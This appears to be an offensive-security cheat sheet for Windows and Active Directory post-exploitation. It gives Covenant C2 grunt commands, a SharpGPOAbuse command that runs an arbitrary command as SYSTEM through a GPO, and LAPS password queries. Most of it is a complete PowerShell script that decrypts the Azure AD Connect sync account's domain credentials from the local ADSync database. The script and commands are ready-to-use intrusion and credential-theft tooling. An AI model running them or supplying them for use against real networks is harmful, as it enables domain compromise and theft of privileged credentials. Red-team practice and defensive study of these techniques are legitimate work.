Session IDs

On Windows processes run with session id 0 or 1. Session ID 1 means the process was started by a legitimate user, while 0 is used for various processes spawned by the system. Sometimes having just a 0 session is a problem, in these cases we can just inject into a process that has 1.

Covenant Misc

Change Delay/Sleep on existing grunt:

Set Delay <seconds>
sleep <seconds>

Execute .Net directly with SharpShell:

SharpShell return Shell.PowerShellExecute("whoami");

GPO Abuse

Use SharpGPOAbuse to modify/add GPOs. Covenant example:

Assembly /assemblyname:"SharpGPOAbuse" /parameters:"--AddComputerTask --TaskName \"<taskname>\" --Author NT AUTHORITY\SYSTEM --Command \"cmd.exe\" --Arguments \"/c <cmd>\" --GPOName \"<gponame>\""

Azure AD Connect

The credentials for the hash synchronisation account are stored locally in a database. They can be recovered with ADConnectDump or directly via this script by xpn. You might need to modify the first line if its stored on a SQL Server instead of locally.

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)


If you are on a box with LAPS enabled and have the correct permissions you can get the password:

 Get-AdmPwdPassword -ComputerName <>
 Find-AdmPwdExtendedRights -Identity 'DC=,DC=' | Format-List

PowerView can do it too:

PowerShell Get-AdmPwdPassword -ComputerName <> | fl

Another alternative is using LAPSToolkit:


Exfiltrating Data

Monitor Remote Processes with Procmon

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